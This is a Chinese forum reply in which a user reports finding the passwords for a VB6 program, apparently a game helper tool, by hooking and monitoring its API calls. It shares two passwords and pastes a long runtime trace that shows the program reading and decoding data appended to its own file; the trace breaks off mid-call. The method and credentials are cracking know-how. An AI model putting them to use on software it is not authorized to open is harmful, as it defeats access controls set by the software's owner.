搞定了,我这里的密码是102494
看了那个帖子,有人说是API Hook,我就试着监控了下API调用,然后就找到了
试验了多次,好像会从服务器返回不同的账户,一个是“加QQ,,,,”啥的,对应的密码是102494;还有一个直接是“密码是12345”,我试了下12345,居然真进去了(这个情况只出现了一次)
[mw_shl_code=css,true]开始查找模块.....
查询到模块开始于: 0x00400000 终止于: 0x0040A000 模块名称: C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe
查询到模块开始于: 0x62C20000 终止于: 0x62C29000 模块名称: LPK.dll
查询到模块开始于: 0x73390000 终止于: 0x734E3000 模块名称: MSVBVM60.DLL
查询到模块开始于: 0x73FA0000 终止于: 0x7400B000 模块名称: USP10.dll
查询到模块开始于: 0x76300000 终止于: 0x7631D000 模块名称: IMM32.dll
查询到模块开始于: 0x76990000 终止于: 0x76ACD000 模块名称: ole32.dll
查询到模块开始于: 0x770F0000 终止于: 0x7717B000 模块名称: OLEAUT32.dll
查询到模块开始于: 0x77BE0000 终止于: 0x77C38000 模块名称: msvcrt.dll
查询到模块开始于: 0x77D10000 终止于: 0x77DA0000 模块名称: USER32.dll
查询到模块开始于: 0x77DA0000 终止于: 0x77E49000 模块名称: ADVAPI32.dll
查询到模块开始于: 0x77E50000 终止于: 0x77EE2000 模块名称: RPCRT4.dll
查询到模块开始于: 0x77EF0000 终止于: 0x77F39000 模块名称: GDI32.dll
查询到模块开始于: 0x77FC0000 终止于: 0x77FD1000 模块名称: Secur32.dll
查询到模块开始于: 0x7C800000 终止于: 0x7C91E000 模块名称: KERNEL32.dll
查询到模块开始于: 0x7C920000 终止于: 0x7C9B3000 模块名称: ntdll.dll
共查找到15个模块.....
DetourTransactionCommit函数处理中........(10秒内未返回说明调用失败)
成功获取函数: 7206......
ObjectTable地址: 0x402C08
[+0x2A]对象数量: 2
[+0x40]szProjectName: "睿祥软件"
Object地址: 0x402C5C
第[01]对象名称: "Form1"
[01]Control: "Text2"
[02]Control: "Text3"
[03]Control: "Form"
[04]Control: "Text1"
EventTable地址: 0x4029F8 (仅显示前20个事件)
[+0x00]Form1_Form: 0x403870
第[02]对象名称: "Module1"
[+0x60]无事件
返回地址: 0040156A 函数名称: ThunRTMain(MSVBVM60.DLL)
ThunRTMain: 初始化进程并获取进程ID
lpstring="VB5!6&vb6chs.dll"
返回地址: 004038E0 函数名称: __vbaAryConstruct2(MSVBVM60.DLL)
__vbaAryConstruct2: Ary的结构函数
RetBuffer=0x0012FA8C
Var2=0x0040314C
__vbaAryConstruct2返回值: 0x00000000
返回地址: 004038EF 函数名称: __vbaOnError(MSVBVM60.DLL)
__vbaOnError: On Error遇到错误的处理方式
OnErrEvent=0xFFFFFFFF
__vbaOnError返回值: 0xFFFFFFFF
返回地址: 00403AF6 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="\"
String2="C:\Documents and Settings\Administrator\桌面"
__vbaStrCat返回值: 0x0017138C (unicode字符串"C:\Documents and Settings\Administrator\桌面\")
返回地址: 00403B04 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"C:\Documents and Settings\Administrator\桌面\")
返回地址: 00403B12 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="夺宝辅助"
String2="C:\Documents and Settings\Administrator\桌面\"
__vbaStrCat返回值: 0x001532EC (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助")
返回地址: 00403B20 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001532EC (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助")
返回地址: 00403B2C 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=".exe"
String2="C:\Documents and Settings\Administrator\桌面\夺宝辅助"
__vbaStrCat返回值: 0x001713F4 (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe")
返回地址: 00403B3A 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001713F4 (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe")
返回地址: 00403B4A 函数名称: __vbaFileOpen(MSVBVM60.DLL)
__vbaFileOpen: 打开文件
var1=0x00000120
var2=0xFFFFFFFF
hFile=0x00000001
lpFileName="C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe"
__vbaFileOpen返回值: 0x0000003A
返回地址: 00403BA5 函数名称: __vbaFileSeek(MSVBVM60.DLL)
__vbaFileSeek: 调整文件指针到新的位置
nPosition=0x0000A001
nType=0x00000001
__vbaFileSeek返回值: 0x00000001
返回地址: 00403DAC 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="\"
String2="C:\Documents and Settings\Administrator\桌面"
__vbaStrCat返回值: 0x0017138C (unicode字符串"C:\Documents and Settings\Administrator\桌面\")
返回地址: 00403DBA 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017138C (unicode字符串"C:\Documents and Settings\Administrator\桌面\")
返回地址: 00403DC8 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="夺宝辅助"
String2="C:\Documents and Settings\Administrator\桌面\"
__vbaStrCat返回值: 0x001532EC (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助")
返回地址: 00403DD6 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001532EC (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助")
返回地址: 00403DE2 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=".exe"
String2="C:\Documents and Settings\Administrator\桌面\夺宝辅助"
__vbaStrCat返回值: 0x001713F4 (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe")
返回地址: 00403DF0 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001713F4 (unicode字符串"C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe")
返回地址: 00403DF7 函数名称: rtcFileLen(MSVBVM60.DLL)
rtcFileLen: 获取文件长度
szFileName="C:\Documents and Settings\Administrator\桌面\夺宝辅助.exe"
rtcFileLen返回值: 0x0000A02E
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A002
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=NULL
__vbaStrCmp返回值: 0x00000000
返回地址: 00403FBC 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"BB")
返回地址: 00403FF4 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x00171314
返回地址: 00404002 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171314 (unicode字符串"BB")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="BB"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=NULL
__vbaStrCmp返回值: 0x00000000
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A003
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="BB"
__vbaStrCmp返回值: 0x00000001
返回地址: 00404091 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=NULL
__vbaStrCmp返回值: 0x00000000
返回地址: 004040C7 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"F1")
返回地址: 004040FF 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x0017079C
返回地址: 0040410D 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017079C (unicode字符串"F1")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="BB"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="F1"
__vbaStrCmp返回值: 0x00000001
返回地址: 004043B1 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="BB"
String2="&H"
__vbaStrCat返回值: 0x0017079C (unicode字符串"&HBB")
返回地址: 004043BF 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017079C (unicode字符串"&HBB")
返回地址: 004043D3 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="F1"
String2="&HBB"
__vbaStrCat返回值: 0x00171364 (unicode字符串"&HBBF1")
返回地址: 004043E1 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171364 (unicode字符串"&HBBF1")
返回地址: 004043F5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=NULL
String2="&HBBF1"
__vbaStrCat返回值: 0x001715F4 (unicode字符串"&HBBF1")
返回地址: 00404403 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"&HBBF1")
返回地址: 0040440A 函数名称: rtcR8ValFromBstr(MSVBVM60.DLL)
rtcR8ValFromBstr: 字符串转为数值
String="&HBBF1"
rtcR8ValFromBstr返回值: 0x00000020(结果)
返回地址: 00404410 函数名称: __vbaFpI4(MSVBVM60.DLL)
__vbaFpI4: 浮点数值转为I4
fVar=0x0012FB20
__vbaFpI4返回值: 0xFFFFBBF1 ( 十进制为:-17423 )
返回地址: 0040441E 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"获")
返回地址: 00404439 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"获")
Var2=0x0012F9CC (vb字符串:"X<")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获")
返回地址: 00404440 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获")
__vbaStrVarMove返回值: 0x00171314 (unicode字符串"获")
返回地址: 0040444E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171314 (unicode字符串"获")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A004
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403FBC 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"C8")
返回地址: 00403FF4 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x001715F4
返回地址: 00404002 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"C8")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C8"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A005
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C8"
__vbaStrCmp返回值: 0x00000001
返回地址: 00404091 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 004040C7 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"A1")
返回地址: 004040FF 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x001715F4
返回地址: 0040410D 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"A1")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C8"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="A1"
__vbaStrCmp返回值: 0x00000001
返回地址: 004043B1 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="C8"
String2="&H"
__vbaStrCat返回值: 0x001715C4 (unicode字符串"&HC8")
返回地址: 004043BF 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715C4 (unicode字符串"&HC8")
返回地址: 004043D3 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="A1"
String2="&HC8"
__vbaStrCat返回值: 0x001715F4 (unicode字符串"&HC8A1")
返回地址: 004043E1 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"&HC8A1")
返回地址: 004043F5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=""
String2="&HC8A1"
__vbaStrCat返回值: 0x00171644 (unicode字符串"&HC8A1")
返回地址: 00404403 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171644 (unicode字符串"&HC8A1")
返回地址: 0040440A 函数名称: rtcR8ValFromBstr(MSVBVM60.DLL)
rtcR8ValFromBstr: 字符串转为数值
String="&HC8A1"
rtcR8ValFromBstr返回值: 0x00000020(结果)
返回地址: 00404410 函数名称: __vbaFpI4(MSVBVM60.DLL)
__vbaFpI4: 浮点数值转为I4
fVar=0x0012FB20
__vbaFpI4返回值: 0xFFFFC8A1 ( 十进制为:-14175 )
返回地址: 0040441E 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"取")
返回地址: 00404439 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"取")
Var2=0x0012F9CC (vb字符串:"获")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取")
返回地址: 00404440 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取")
__vbaStrVarMove返回值: 0x0017079C (unicode字符串"获取")
返回地址: 0040444E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017079C (unicode字符串"获取")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A006
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403FBC 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"C3")
返回地址: 00403FF4 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x001715C4
返回地址: 00404002 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715C4 (unicode字符串"C3")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C3"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A007
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C3"
__vbaStrCmp返回值: 0x00000001
返回地址: 00404091 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 004040C7 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"DC")
返回地址: 004040FF 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x001715C4
返回地址: 0040410D 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715C4 (unicode字符串"DC")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C3"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="DC"
__vbaStrCmp返回值: 0x00000001
返回地址: 004043B1 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="C3"
String2="&H"
__vbaStrCat返回值: 0x0017161C (unicode字符串"&HC3")
返回地址: 004043BF 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017161C (unicode字符串"&HC3")
返回地址: 004043D3 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="DC"
String2="&HC3"
__vbaStrCat返回值: 0x00171644 (unicode字符串"&HC3DC")
返回地址: 004043E1 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171644 (unicode字符串"&HC3DC")
返回地址: 004043F5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=""
String2="&HC3DC"
__vbaStrCat返回值: 0x0017166C (unicode字符串"&HC3DC")
返回地址: 00404403 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017166C (unicode字符串"&HC3DC")
返回地址: 0040440A 函数名称: rtcR8ValFromBstr(MSVBVM60.DLL)
rtcR8ValFromBstr: 字符串转为数值
String="&HC3DC"
rtcR8ValFromBstr返回值: 0x00000020(结果)
返回地址: 00404410 函数名称: __vbaFpI4(MSVBVM60.DLL)
__vbaFpI4: 浮点数值转为I4
fVar=0x0012FB20
__vbaFpI4返回值: 0xFFFFC3DC ( 十进制为:-15396 )
返回地址: 0040441E 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"密")
返回地址: 00404439 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"密")
Var2=0x0012F9CC (vb字符串:"获取")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密")
返回地址: 00404440 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密")
__vbaStrVarMove返回值: 0x001715C4 (unicode字符串"获取密")
返回地址: 0040444E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715C4 (unicode字符串"获取密")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A008
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403FBC 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"C2")
返回地址: 00403FF4 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x0017161C
返回地址: 00404002 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017161C (unicode字符串"C2")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C2"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A009
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C2"
__vbaStrCmp返回值: 0x00000001
返回地址: 00404091 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 004040C7 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"EB")
返回地址: 004040FF 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x0017161C
返回地址: 0040410D 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017161C (unicode字符串"EB")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="C2"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="EB"
__vbaStrCmp返回值: 0x00000001
返回地址: 004043B1 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="C2"
String2="&H"
__vbaStrCat返回值: 0x001715F4 (unicode字符串"&HC2")
返回地址: 004043BF 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"&HC2")
返回地址: 004043D3 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="EB"
String2="&HC2"
__vbaStrCat返回值: 0x0017161C (unicode字符串"&HC2EB")
返回地址: 004043E1 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017161C (unicode字符串"&HC2EB")
返回地址: 004043F5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=""
String2="&HC2EB"
__vbaStrCat返回值: 0x00171644 (unicode字符串"&HC2EB")
返回地址: 00404403 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171644 (unicode字符串"&HC2EB")
返回地址: 0040440A 函数名称: rtcR8ValFromBstr(MSVBVM60.DLL)
rtcR8ValFromBstr: 字符串转为数值
String="&HC2EB"
rtcR8ValFromBstr返回值: 0x00000020(结果)
返回地址: 00404410 函数名称: __vbaFpI4(MSVBVM60.DLL)
__vbaFpI4: 浮点数值转为I4
fVar=0x0012FB20
__vbaFpI4返回值: 0xFFFFC2EB ( 十进制为:-15637 )
返回地址: 0040441E 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"码")
返回地址: 00404439 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"码")
Var2=0x0012F9CC (vb字符串:"获取密")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码")
返回地址: 00404440 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码")
__vbaStrVarMove返回值: 0x0017079C (unicode字符串"获取密码")
返回地址: 0040444E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0017079C (unicode字符串"获取密码")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A00A
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403FBC 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"BC")
返回地址: 00403FF4 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x001715F4
返回地址: 00404002 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"BC")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="BC"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A00B
返回地址: 00403F86 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="BC"
__vbaStrCmp返回值: 0x00000001
返回地址: 00404091 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2=""
__vbaStrCmp返回值: 0x00000000
返回地址: 004040C7 函数名称: rtcHexVarFromVar(MSVBVM60.DLL)
